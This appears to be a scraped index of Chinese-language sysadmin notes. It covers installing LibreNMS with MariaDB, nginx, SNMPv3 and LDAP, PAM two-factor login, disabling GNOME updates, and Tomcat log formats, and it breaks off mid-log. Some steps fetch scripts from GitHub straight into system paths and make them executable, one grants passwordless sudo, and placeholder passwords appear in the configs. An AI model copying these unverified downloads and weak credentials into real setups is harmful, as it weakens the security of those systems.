Signed-By: /etc/apt/keyrings/mariadb-keyring.pgp 1 2 3 4 5 apt update # 檢查一下確實可以安裝到指定版本 apt list mariadb-server # mariadb-server/unknown 1:11.4.4+maria~deb12 amd64 apt install mariadb-server mariadb-client 安裝 librenms # 1 apt install -y lsb-release ca-certificates wget acl curl fping git graphviz imagemagick mariadb-client mtr-tiny nginx-full nmap php-cli php-curl php-fpm php-gd php-gmp php-mbstring php-mysql php-snmp php-xml php-zip python3-dotenv python3-pymysql python3-redis python3-setuptools python3-systemd python3-pip rrdtool snmp snmpd unzip whois python3.11-venv 1 2 3 4 5 cd /tmp wget https://github.com/librenms/librenms/archive/refs/tags/25.1.0.tar.gz tar -zxf 25.1.0.tar.gz -C /opt/ cd /opt/ ln -s librenms-25.1.0 librenms 新增服務帳號: librenms\n1 2 3 4 5 useradd librenms -d /opt/librenms -M -r -s \u0026#34;$(which bash)\u0026#34; chown -R librenms:librenms /opt/librenms* chmod 771 /opt/librenms setfacl -d -m g::rwx /opt/librenms/rrd /opt/librenms/logs /opt/librenms/bootstrap/cache/ /opt/librenms/storage/ setfacl -R -m g::rwx /opt/librenms/rrd /opt/librenms/logs /opt/librenms/bootstrap/cache/ /opt/librenms/storage/ Install PHP dependencies\n使用 Python 虛擬環境，因為在 Debian12 引入了 PEP 668，限制了對系統 Python 環境的直接修改。這樣所有的 Python 依賴都會安裝在 ~/librenms-venv 內，而不影響系統環境。\n1 2 3 4 5 6 7 8 su - librenms python3 -m venv ~/librenms-venv source ~/librenms-venv/bin/activate pip install -r requirements.txt ./scripts/composer_wrapper.php install --no-dev exit su - librenms pip3 install command_runner --break-system-packages 1 timedatectl set-timezone Asia/Taipei /etc/mysql/mariadb.conf.d/50-server.cnf 1 2 3 [mysqld] innodb_file_per_table=1 lower_case_table_names=0 1 2 systemctl enable mariadb systemctl restart mariadb 1 mysql -u root 1 2 3 4 CREATE DATABASE librenms CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; CREATE USER \u0026#39;librenms\u0026#39;@\u0026#39;localhost\u0026#39; IDENTIFIED BY \u0026#39;password\u0026#39;; GRANT ALL PRIVILEGES ON librenms.* TO \u0026#39;librenms\u0026#39;@\u0026#39;localhost\u0026#39;; exit 1 2 cp /etc/php/8.2/fpm/pool.d/www.conf /etc/php/8.2/fpm/pool.d/librenms.conf vim /etc/php/8.2/fpm/pool.d/librenms.conf 編輯文件: /etc/php/8.2/fpm/pool.d/librenms.conf 內容如如下:\nChange [www] to [librenms]:\n1 2 ; [www] [librenms] Change user and group to \u0026ldquo;librenms\u0026rdquo;:\n1 2 user = librenms group = librenms Change listen to a unique path that must match your webserver\u0026rsquo;s config (fastcgi_pass for NGINX and SetHandler for Apache) :\n1 listen = /run/php-fpm-librenms.sock 編輯文件: /etc/nginx/sites-enabled/librenms.vhost 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 server { listen 80; server_name moniter.home.pollochang.work; root /opt/librenms/html; index index.php; charset utf-8; gzip on; gzip_types text/css application/javascript text/javascript application/x-javascript image/svg+xml text/plain text/xsd text/xsl text/xml image/x-icon; location / { try_files $uri $uri/ /index.php?$query_string; } location ~ [^/]\\.php(/|$) { fastcgi_pass unix:/run/php-fpm-librenms.sock; fastcgi_split_path_info ^(.+\\.php)(/.+)$; include fastcgi.conf; } location ~ /\\.(?!well-known).* { deny all; } } 檢查php時間與資料庫時間是否一致 # 1 php -r \u0026#39;echo date(\u0026#34;Y-m-d H:i:s\u0026#34;);\u0026#39; 如果錯誤要修正要編輯文件: /etc/php/8.2/fpm/php.ini\n1 date.timezone = \u0026#34;Asia/Taipei\u0026#34; /etc/php/8.2/cli/php.ini 1 date.timezone = \u0026#34;Asia/Taipei\u0026#34; 設定 .env # /opt/librenms/.env 1 APP_URL=http://moniter.home.pollochang.work /opt/librenms/config.php 1 $config[\u0026#39;base_url\u0026#39;] = \u0026#39;http://moniter.home.pollochang.work/\u0026#39;; 啟動網頁服務 # 1 2 3 rm /etc/nginx/sites-enabled/default systemctl reload nginx systemctl restart php8.2-fpm Enable lnms command completion\n1 2 ln -s /opt/librenms/lnms /usr/bin/lnms cp /opt/librenms/misc/lnms-completion.bash /etc/bash_completion.d/ Configure snmpd\n1 cp /opt/librenms/snmpd.conf.example /etc/snmp/snmpd.conf /etc/snmp/snmpd.conf 1 2 # RANDOMSTRINGGOESHERE com2sec readonly default polloservermonitor 設定 SNMP 服務 # /etc/snmp/snmpd.conf 1 2 3 4 curl -o /usr/bin/distro https://raw.githubusercontent.com/librenms/librenms-agent/master/snmp/distro chmod +x /usr/bin/distro systemctl enable snmpd systemctl restart snmpd 1 cp /opt/librenms/dist/librenms.cron /etc/cron.d/librenms 啟用調度程式 # 1 2 3 4 cp /opt/librenms/dist/librenms-scheduler.service /opt/librenms/dist/librenms-scheduler.timer /etc/systemd/system/ systemctl enable librenms-scheduler.timer systemctl start librenms-scheduler.timer 設定 logrotate # Copy logrotate config\n1 cp /opt/librenms/misc/librenms.logrotate /etc/logrotate.d/librenms Web installer # 開啟瀏覽器進行安裝: http://moniter.home.pollochang.work/install 安裝完成之後確保設定文件權限\n1 chown librenms:librenms /opt/librenms/config.php 搬移資料到指定目錄 # 1 2 3 4 5 6 7 8 9 10 systemctl stop php8.2-fpm nginx mkdir -p /data/librenms/ chown librenms:librenms /data/librenms/ sudo mv /opt/librenms/rrd /data/librenms/ sudo mv /opt/librenms/logs /var/log/librenms sudo mv /opt/librenms/storage /data/librenms/ ln -s /data/librenms/rrd /opt/librenms/rrd ln -s /var/log/librenms /opt/librenms/logs ln -s /data/librenms/storage /opt/librenms/storage LDAP 登入驗證設定 # 準備資訊\n群組DN資訊: 系統管理員: cn=admins,ou=group,dc=home,dc=pollochang,dc=work 一般使用者: cn=login,ou=group,dc=home,dc=pollochang,dc=work 設定文件: /opt/librenms/config.php\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 # 使用 LDAP 驗證 $config[\u0026#39;auth_mechanism\u0026#39;] = \u0026#34;ldap\u0026#34;; ### MySQL 驗證（預設已啟用） $config[\u0026#39;auth_mechanism_mysql\u0026#39;] = true; ### LDAP 驗證設定 $config[\u0026#39;auth_mechanism_ldap\u0026#39;] = true; $config[\u0026#39;auth_ldap_server\u0026#39;] = \u0026#39;ldaps://ldap.home.pollochang.work\u0026#39;; # LDAPS 使用 636 端口 $config[\u0026#39;auth_ldap_port\u0026#39;] = 636; $config[\u0026#39;auth_ldap_starttls\u0026#39;] = false; $config[\u0026#39;auth_ldap_prefix\u0026#39;] = \u0026#39;uid=\u0026#39;; $config[\u0026#39;auth_ldap_suffix\u0026#39;] = \u0026#39;,ou=People,dc=home,dc=pollochang,dc=work\u0026#39;; ### LDAP 綁定帳號 $config[\u0026#39;auth_ldap_binddn\u0026#39;] = \u0026#39;cn=admin,dc=home,dc=pollochang,dc=work\u0026#39;; $config[\u0026#39;auth_ldap_bindpassword\u0026#39;] = \u0026#39;bindpassword\u0026#39;; ### LDAP 使用者屬性對應 $config[\u0026#39;auth_ldap_uid_attribute\u0026#39;] = \u0026#39;uid\u0026#39;; $config[\u0026#39;auth_ldap_user_dn\u0026#39;] = \u0026#39;ou=People,dc=home,dc=pollochang,dc=work\u0026#39;; # $config[\u0026#39;auth_ldap_user_attr\u0026#39;] = [\u0026#39;uid\u0026#39;]; ### LDAP 群組屬性 $config[\u0026#39;auth_ldap_groupbase\u0026#39;] = \u0026#39;ou=group,dc=home,dc=pollochang,dc=work\u0026#39;; $config[\u0026#39;auth_ldap_group\u0026#39;] = \u0026#39;cn\u0026#39;; $config[\u0026#39;auth_ldap_groupmemberattr\u0026#39;] = \u0026#39;memberUid\u0026#39;; $config[\u0026#39;auth_ldap_groupobjectclass\u0026#39;] = \u0026#34;posixGroup\u0026#34;; $config[\u0026#39;auth_ldap_groups\u0026#39;][\u0026#39;admins\u0026#39;][\u0026#39;level\u0026#39;] = 10; $config[\u0026#39;auth_ldap_groups\u0026#39;][\u0026#39;login\u0026#39;][\u0026#39;level\u0026#39;] = 5; ### 啟用 LDAP 除錯（如遇問題可打開） $config[\u0026#39;auth_ldap_debug\u0026#39;] = false; $config[\u0026#39;auth_debug\u0026#39;] = false; 1 2 3 cd /opt/librenms/ systemctl restart php8.2-fpm nginx \u0026amp;\u0026amp; php artisan config:clear \u0026amp;\u0026amp; php artisan cache:clear tail -f /opt/librenms/logs/librenms.log 監控設定 # 設定: /opt/librenms/config.php # 監控 proxmox # 1 2 # 監控 proxmox $config[\u0026#39;enable_proxmox\u0026#39;] = 1; SNMP # 被監控的 pve 主機 # 1 2 3 apt install libpve-apiclient-perl sudo -y wget https://raw.githubusercontent.com/librenms/librenms-agent/master/agent-local/proxmox -O /usr/local/bin/proxmox chmod +x /usr/local/bin/proxmox 設定文件: /etc/sudoers.d/snmp 1 Debian-snmp ALL=(ALL) NOPASSWD: /usr/local/bin/proxmox 被監控的 Linux 主機 # 在被監控的 Linux 主機上設定 SNMPv3（Simple Network Management Protocol version 3）通常使用 Net-SNMP，並且需要進行加密和驗證設定，以確保安全性。\n步驟 1：安裝 SNMP 相關套件 # 在 Debian/Ubuntu： # 1 sudo apt install snmpd snmpd vs snmp\nsnmpd: 提供本機 snmp 監控資訊 snmp: 用戶工具端，可以用他來取得其他主機 snmp 監控資訊 在 RHEL/CentOS/Rocky Linux： # 1 sudo dnf install net-snmp net-snmp-utils 步驟 2：建立 SNMPv3 使用者 # SNMPv3 需要使用者驗證，因此需要手動建立使用者。\n停止 SNMP 服務(新增帳戶前必要動作)：\n1 sudo systemctl stop snmpd 使用 net-snmp-create-v3-user 工具來建立 SNMPv3 使用者：\n1 sudo net-snmp-create-v3-user -ro -A \u0026#34;auth_password\u0026#34; -X \u0026#34;priv_password\u0026#34; -a SHA -x AES snmpuser -ro：建立唯讀（Read-Only）使用者 -A \u0026quot;auth_password\u0026quot;：設定驗證密碼 -X \u0026quot;priv_password\u0026quot;：設定加密密碼 -a SHA：指定驗證方式為 SHA，值可以設定如下 SHA SHA-224 SHA-256 SHA-384 SHA-512 MD5 -x AES：指定加密方式為 AES AES AES-192 AES-256 AES-256-C DES snmpuser：SNMP 使用者名稱 ⚠️ 注意：\nauth_password 和 priv_password 需至少 8 個字元。 可選擇 -rw 來建立具備讀寫權限的使用者。 步驟 3：修改 SNMP 配置 # 開啟 SNMP 配置檔案：\n1 sudo nano /etc/snmp/snmpd.conf 確保以下內容存在：\n1 2 3 4 5 6 # 僅監聽本機與特定網卡 (例如 eth0) agentAddress udp:161 # 啟用 SNMPv3 使用者 createUser snmpuser SHA \u0026#34;auth_password\u0026#34; AES \u0026#34;priv_password\u0026#34; rouser snmpuser authPriv 如果要讓 SNMP 監聽在所有介面：\n1 agentAddress udp:161,udp6:[::1]:161 1 2 3 /etc/snmp/snmpd.conf.d/lab.conf agentaddress 172.30.1.200 chown root:Debian-snmp /etc/snmp/snmpd.conf.d/lab.conf 1 firewall-cmd --zone=public --add-rich-rule=\u0026#39;rule family=\u0026#34;ipv4\u0026#34; source address=\u0026#34;192.168.1.101\u0026#34; port protocol=\u0026#34;udp\u0026#34; port=\u0026#34;161\u0026#34; accept\u0026#39; --permanent 步驟 4：啟動並啟用 SNMP 服務 # 1 2 sudo systemctl enable snmpd sudo systemctl restart snmpd 步驟 5：測試 SNMPv3 連線 # 測試：\n1 snmpwalk -OQne -v 3 -t 10 -l authPriv -u snmpuser -a SHA -A auth_password -x AES -X priv_password 192.168.1.100 -Os 1.3.6.1.2.1.2.2.1 步驟 6：開放防火牆 # 如果系統有啟用防火牆，則開放 UDP 161 端口：\n1 2 sudo firewall-cmd --add-port=161/udp --permanent sudo firewall-cmd --reload 這樣就成功配置了一台支援 SNMPv3 的 Linux 伺服器，可用於 LibreNMS、Zabbix、Nagios 等監控系統。\nPlugin # Weathermap # 1 2 3 4 5 apt install php-pear -y su - librenms cd /opt/librenms/html/plugins git clone https://github.com/librenms-plugins/Weathermap.git chmod 775 /opt/librenms/html/plugins/Weathermap/configs 設定排程文件: /etc/cron.d/librenms 1 */5 * * * * librenms /opt/librenms/html/plugins/Weathermap/map-poller.php \u0026gt;\u0026gt; /dev/null 2\u0026gt;\u0026amp;1 1 systemctl restart cron php8.2-fpm nginx 參考資料 # Install LibreNMS Example Hardware Setups LibreNMS Web Console user group membership not working via LDAP authentication Proxmox VE 安裝及設定 LibreNMS-Agent ","date":"February 2, 2025","externalUrl":null,"permalink":"/worknot/librenms/","section":"Worknots","summary":"部署環境 # OS: Debian12 CPU: 2 Sockets, 2 Cores RAM: 6G Database: MariaDB: 11.4 System Requirement # LibreNMS CPU: 2 Sockets, 4 Cores Memory: 2G Disk Type: Raid 1, SSD Disk Space: 18GB Devices: 20 Ports: 133 Health sensors: 47 Load: \u003c 0.1 MySQL CPU: 1 Socket, 2 Cores Memory: 2G Disk Type: Raid 1, SSD Disk Space: 30GB Load: \u003c 0.1 安裝前準被 # librenms Domain : moniter.home.pollochang.work librenms web server Admin User 帳號: polloadmin Admin User 密碼: password Admin User Email: email@example.com 資料庫 資料庫名稱: librenms 帳號: librenms 密碼: password 安裝步驟 # 安裝資料庫 # MariaDB Server 1 2 3 4 sudo apt -y install apt-transport-https curl gnupg gnupg2 sudo mkdir -p /etc/apt/keyrings sudo curl -o /etc/apt/keyrings/mariadb-keyring.pgp 'https://mariadb.org/mariadb_release_signing_key.pgp' chmod 0644 /etc/apt/keyrings/mariadb-keyring.pgp 設定文件: /etc/apt/sources.list.d/mariadb.sources 1 2 3 4 5 6 7 8 9 10 # MariaDB 11.4 repository list - created 2023-11-20 07:47 UTC # https://mariadb.org/download/ X-Repolib-Name: MariaDB Types: deb # deb.mariadb.org is a dynamic mirror if your preferred mirror goes offline. See https://mariadb.org/mirrorbits/ for details. # URIs: https://deb.mariadb.org/11.4/debian URIs: https://mirrors.aliyun.com/mariadb/repo/11.4/debian Suites: bookworm Components: main Signed-By: /etc/apt/keyrings/mariadb-keyring.pgp 1 2 3 4 5 apt update # 檢查一下確實可以安裝到指定版本 apt list mariadb-server # mariadb-server/unknown 1:11.4.4+maria~deb12 amd64 apt install mariadb-server mariadb-client 安裝 librenms # 1 apt install -y lsb-release ca-certificates wget acl curl fping git graphviz imagemagick mariadb-client mtr-tiny nginx-full nmap php-cli php-curl php-fpm php-gd php-gmp php-mbstring php-mysql php-snmp php-xml php-zip python3-dotenv python3-pymysql python3-redis python3-setuptools python3-systemd python3-pip rrdtool snmp snmpd unzip whois python3.11-venv 1 2 3 4 5 cd /tmp wget https://github.com/librenms/librenms/archive/refs/tags/25.1.0.tar.gz tar -zxf 25.1.0.tar.gz -C /opt/ cd /opt/ ln -s librenms-25.1.0 librenms 新增服務帳號: librenms\n","title":"LibreNMS 安裝設定紀錄","type":"worknot"},{"content":" 環境 # OS: Debian 12 安裝及部屬 # 安裝 # 安裝 libpam-google-authenticator\n1 sudo apt -y install libpam-google-authenticator 設定 ssh 登入 # /etc/pam.d/sshd 1 auth required pam_google_authenticator.so /etc/ssh/sshd_config 1 ChallengeResponseAuthentication yes #no 執行\n1 google-authenticator 設定 gnmoe 登入 # /etc/pam.d/gdm-password 1 2 3 auth required pam_google_authenticator.so @include common-auth # 在這行之前 重起 gdm\n1 sudo systemctl restart gdm ","date":"January 11, 2025","externalUrl":null,"permalink":"/worknot/linux-google-authenticator/","section":"Worknots","summary":"環境 # OS: Debian 12 安裝及部屬 # 安裝 # 安裝 libpam-google-authenticator\n","title":"linux 登入使用 google auth 二階段驗證","type":"worknot"},{"content":"禁止 Gnome 自動背景更新\n設定文件: /etc/PackageKit/PackageKit.conf 設定文禁止更新\n1 2 #PreventNetworkAccess=false PreventNetworkAccess=true 1 2 sudo systemctl daemon-reload sudo systemctl restart packagekit ","date":"January 9, 2025","externalUrl":null,"permalink":"/worknot/disable-gnome-auto-upate/","section":"Worknots","summary":"禁止 Gnome 自動背景更新\n設定文件: /etc/PackageKit/PackageKit.conf 設定文禁止更新\n1 2 #PreventNetworkAccess=false PreventNetworkAccess=true 1 2 sudo systemctl daemon-reload sudo systemctl restart packagekit ","title":"Disable Gnome Auto Upate","type":"worknot"},{"content":"","date":"January 9, 2025","externalUrl":null,"permalink":"/tags/gnome/","section":"Tags","summary":"","title":"GNOME","type":"tags"},{"content":"","date":"January 2, 2025","externalUrl":null,"permalink":"/categories/tomcat/","section":"Categories","summary":"","title":"Tomcat","type":"categories"},{"content":"這幾天工作上有針對日誌設定做討論，但是單純對tomcat 日誌設定似乎缺少了實做探究，於是在下班之餘稍微探究了一下。今天先對日誌格式做研究。\n在官網對於 log 工具預設是由 java 原生日誌工具處理 java.util.logging\n原始設定 # 以下是 tomcat9 對 log 的始設定檔\nconf/logging.properties 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the \u0026#34;License\u0026#34;); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an \u0026#34;AS IS\u0026#34; BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. handlers = 1catalina.org.apache.juli.AsyncFileHandler, 2localhost.org.apache.juli.AsyncFileHandler, 3manager.org.apache.juli.AsyncFileHandler, 4host-manager.org.apache.juli.AsyncFileHandler, java.util.logging.ConsoleHandler .handlers = 1catalina.org.apache.juli.AsyncFileHandler, java.util.logging.ConsoleHandler ############################################################ # Handler specific properties. # Describes specific configuration info for Handlers. ############################################################ 1catalina.org.apache.juli.AsyncFileHandler.level = ALL 1catalina.org.apache.juli.AsyncFileHandler.directory = ${catalina.base}/logs 1catalina.org.apache.juli.AsyncFileHandler.prefix = catalina. 1catalina.org.apache.juli.AsyncFileHandler.maxDays = 90 1catalina.org.apache.juli.AsyncFileHandler.encoding = UTF-8 2localhost.org.apache.juli.AsyncFileHandler.level = ALL 2localhost.org.apache.juli.AsyncFileHandler.directory = ${catalina.base}/logs 2localhost.org.apache.juli.AsyncFileHandler.prefix = localhost. 2localhost.org.apache.juli.AsyncFileHandler.maxDays = 90 2localhost.org.apache.juli.AsyncFileHandler.encoding = UTF-8 3manager.org.apache.juli.AsyncFileHandler.level = ALL 3manager.org.apache.juli.AsyncFileHandler.directory = ${catalina.base}/logs 3manager.org.apache.juli.AsyncFileHandler.prefix = manager. 3manager.org.apache.juli.AsyncFileHandler.maxDays = 90 3manager.org.apache.juli.AsyncFileHandler.encoding = UTF-8 4host-manager.org.apache.juli.AsyncFileHandler.level = ALL 4host-manager.org.apache.juli.AsyncFileHandler.directory = ${catalina.base}/logs 4host-manager.org.apache.juli.AsyncFileHandler.prefix = host-manager. 4host-manager.org.apache.juli.AsyncFileHandler.maxDays = 90 4host-manager.org.apache.juli.AsyncFileHandler.encoding = UTF-8 java.util.logging.ConsoleHandler.level = ALL java.util.logging.ConsoleHandler.formatter = org.apache.juli.OneLineFormatter java.util.logging.ConsoleHandler.encoding = UTF-8 ############################################################ # Facility specific properties. # Provides extra control for each logger. ############################################################ org.apache.catalina.core.ContainerBase.[Catalina].[localhost].level = INFO org.apache.catalina.core.ContainerBase.[Catalina].[localhost].handlers = 2localhost.org.apache.juli.AsyncFileHandler org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/manager].level = INFO org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/manager].handlers = 3manager.org.apache.juli.AsyncFileHandler org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/host-manager].level = INFO org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/host-manager].handlers = 4host-manager.org.apache.juli.AsyncFileHandler # For example, set the org.apache.catalina.util.LifecycleBase logger to log # each component that extends LifecycleBase changing state: #org.apache.catalina.util.LifecycleBase.level = FINE # To see debug messages for HTTP/2 handling, uncomment the following line: #org.apache.coyote.http2.level = FINE # To see debug messages for WebSocket handling, uncomment the following line: #org.apache.tomcat.websocket.level = FINE 探究項目 # 在這邊有發現日誌格式主要是由 java.util.logging.ConsoleHandler.formatter 進行設定\n操作環境如下:\nOS: Oracle Linux 9 tomcat verion: Apache Tomcat/9.0.98 java Option: -Duser.language=zh -Duser.region=TW 以下是設定值與對應的輸出出結果\njava.util.logging.ConsoleHandler.formatter # 值: org.apache.juli.OneLineFormatter # 輸出內容如下:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 NOTE: Picked up JDK_JAVA_OPTIONS: --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED OpenJDK 64-Bit Server VM warning: Option UseBiasedLocking was deprecated in version 15.0 and will likely be removed in a future release. 02-Jan-2025 23:35:12.075 警告 [main] org.apache.tomcat.util.digester.SetPropertiesRule.begin Match [Server/Service/Engine/Host] failed to set property [reloadable] to [false] 02-Jan-2025 23:35:12.094 資訊 [main] org.apache.catalina.core.AprLifecycleListener.lifecycleEvent The Apache Tomcat Native library which allows using OpenSSL was not found on the java.library.path: [/usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib] 02-Jan-2025 23:35:12.288 資訊 [main] org.apache.coyote.AbstractProtocol.init Initializing ProtocolHandler [\u0026#34;http-nio2-10010\u0026#34;] 02-Jan-2025 23:35:12.315 資訊 [main] org.apache.catalina.startup.Catalina.load Server initialization in [331] milliseconds 02-Jan-2025 23:35:12.341 資訊 [main] org.apache.catalina.core.StandardService.startInternal Starting service [Catalina] 02-Jan-2025 23:35:12.341 資訊 [main] org.apache.catalina.core.StandardEngine.startInternal Starting Servlet engine: [Apache Tomcat/9.0.98] 02-Jan-2025 23:35:12.346 資訊 [main] org.apache.catalina.startup.HostConfig.deployDirectory Deploying web application directory [/data/webapps/w1/grailsException] 02-Jan-2025 23:35:14.411 資訊 [main] org.apache.jasper.servlet.TldScanner.scanJars At least one JAR was scanned for TLDs yet contained no TLDs. Enable debug logging for this logger for a complete list of JARs that were scanned but no TLDs were found in them. Skipping unneeded JARs during scanning can improve startup time and JSP compilation time. 02-Jan-2025 23:35:20.530 資訊 [main] org.apache.catalina.startup.HostConfig.deployDirectory Deployment of web application directory [/data/webapps/w1/grailsException] has finished in [8,184] ms 02-Jan-2025 23:35:20.599 資訊 [main] org.apache.coyote.AbstractProtocol.start Starting ProtocolHandler [\u0026#34;http-nio2-10010\u0026#34;] 02-Jan-2025 23:35:20.604 資訊 [main] org.apache.catalina.startup.Catalina.start Server startup in [8288] milliseconds 02-Jan-2025 23:36:11.754 資訊 [Thread-7] org.apache.coyote.AbstractProtocol.pause Pausing ProtocolHandler [\u0026#34;http-nio2-10010\u0026#34;] 02-Jan-2025 23:36:11.766 資訊 [Thread-7] org.apache.catalina.core.StandardService.stopInternal Stopping service [Catalina] 02-Jan-2025 23:36:11.822 資訊 [Thread-7] org.apache.coyote.AbstractProtocol.stop Stopping ProtocolHandler [\u0026#34;http-nio2-10010\u0026#34;] 02-Jan-2025 23:36:11.824 資訊 [Thread-7] org.apache.coyote.AbstractProtocol.destroy Destroying ProtocolHandler [\u0026#34;http-nio2-10010\u0026#34;] 值: org.apache.juli.VerbatimFormatter # 輸出內容如下:\n1 2 3 4 5 6 7 8 9 10 11 12 13 NOTE: Picked up JDK_JAVA_OPTIONS: --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED OpenJDK 64-Bit Server VM warning: Option UseBiasedLocking was deprecated in version 15.0 and will likely be removed in a future release. Match [Server/Service/Engine/Host] failed to set property [reloadable] to [false] The Apache Tomcat Native library which allows using OpenSSL was not found on the java.library.path: [/usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib] Initializing ProtocolHandler [\u0026#34;http-nio2-10010\u0026#34;] Server initialization in [327] milliseconds Starting service [Catalina] Starting Servlet engine: [Apache Tomcat/9.0.98] Deploying web application directory [/data/webapps/w1/grailsException] At least one JAR was scanned for TLDs yet contained no TLDs. Enable debug logging for this logger for a complete list of JARs that were scanned but no TLDs were found in them. Skipping unneeded JARs during scanning can improve startup time and JSP compilation time. Deployment of web application directory [/data/webapps/w1/grailsException] has finished in [8,438] ms Starting ProtocolHandler [\u0026#34;http-nio2-10010\u0026#34;] Server startup in [8479] milliseconds 值: org.apache.juli.JdkLoggerFormatter # 輸出內容如下:\n1 2 3 4 5 6 7 8 9 10 11 12 13 NOTE: Picked up JDK_JAVA_OPTIONS: --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED OpenJDK 64-Bit Server VM warning: Option UseBiasedLocking was deprecated in version 15.0 and will likely be removed in a future release. 1735832335650 W Digester Match [Server/Service/Engine/Host] failed to set property [reloadable] to [false] 1735832335665 I AprLifecycleListener The Apache Tomcat Native library which allows using OpenSSL was not found on the java.library.path: [/usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib] 1735832335807 I Http11Nio2Protocol Initializing ProtocolHandler [\u0026#34;http-nio2-10010\u0026#34;] 1735832335847 I Catalina Server initialization in [299] milliseconds 1735832335876 I StandardService Starting service [Catalina] 1735832335877 I StandardEngine Starting Servlet engine: [Apache Tomcat/9.0.98] 1735832335881 I HostConfig Deploying web application directory [/data/webapps/w1/grailsException] 1735832338012 I TldScanner At least one JAR was scanned for TLDs yet contained no TLDs. Enable debug logging for this logger for a complete list of JARs that were scanned but no TLDs were found in them. Skipping unneeded JARs during scanning can improve startup time and JSP compilation time. 1735832344553 I HostConfig Deployment of web application directory [/data/webapps/w1/grailsException] has finished in [8,672] ms 1735832344556 I Http11Nio2Protocol Starting ProtocolHandler [\u0026#34;http-nio2-10010\u0026#34;] 1735832344558 I Catalina Server startup in [8710] milliseconds 值: java.util.logging.SimpleFormatter # 輸出內容如下:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 NOTE: Picked up JDK_JAVA_OPTIONS: --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED OpenJDK 64-Bit Server VM warning: Option UseBiasedLocking was deprecated in version 15.0 and will likely be removed in a future release. 1月 03, 2025 12:06:24 上午 org.apache.tomcat.util.digester.SetPropertiesRule begin 警告: Match [Server/Service/Engine/Host] failed to set property [reloadable] to [false] 1月 03, 2025 12:06:24 上午 org.apache.catalina.core.AprLifecycleListener lifecycleEvent 資訊: The Apache Tomcat Native library which allows using OpenSSL was not found on the java.library.path: [/usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib] 1月 03, 2025 12:06:24 上午 org.apache.coyote.AbstractProtocol init 資訊: Initializing ProtocolHandler [\u0026#34;http-nio2-10010\u0026#34;] 1月 03, 2025 12:06:25 上午 org.apache.catalina.startup.Catalina load 資訊: Server initialization in [326] milliseconds 1月 03, 2025 12:06:25 上午 org.apache.catalina.core.StandardService startInternal 資訊: Starting service [Catalina] 1月 03, 2025 12:06:25 上午 org.apache.catalina.core.StandardEngine startInternal 資訊: Starting Servlet engine: [Apache Tomcat/9.0.98] 1月 03, 2025 12:06:25 上午 org.apache.catalina.startup.HostConfig deployDirectory 資訊: Deploying web application directory [/data/webapps/w1/grailsException] 1月 03, 2025 12:06:27 上午 org.apache.jasper.servlet.TldScanner scanJars 資訊: At least one JAR was scanned for TLDs yet contained no TLDs. Enable debug logging for this logger for a complete list of JARs that were scanned but no TLDs were found in them. Skipping unneeded JARs during scanning can improve startup time and JSP compilation time. 1月 03, 2025 12:06:33 上午 org.apache.catalina.startup.HostConfig deployDirectory 資訊: Deployment of web application directory [/data/webapps/w1/grailsException] has finished in [8,700] ms 1月 03, 2025 12:06:33 上午 org.apache.coyote.AbstractProtocol start 資訊: Starting ProtocolHandler [\u0026#34;http-nio2-10010\u0026#34;] 1月 03, 2025 12:06:33 上午 org.apache.catalina.startup.Catalina start 資訊: Server startup in [8744] milliseconds 值: java.util.logging.XMLFormatter # 輸出內容如下:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 NOTE: Picked up JDK_JAVA_OPTIONS: --add-opens=java.base/java.lang=ALL-UNNAMED 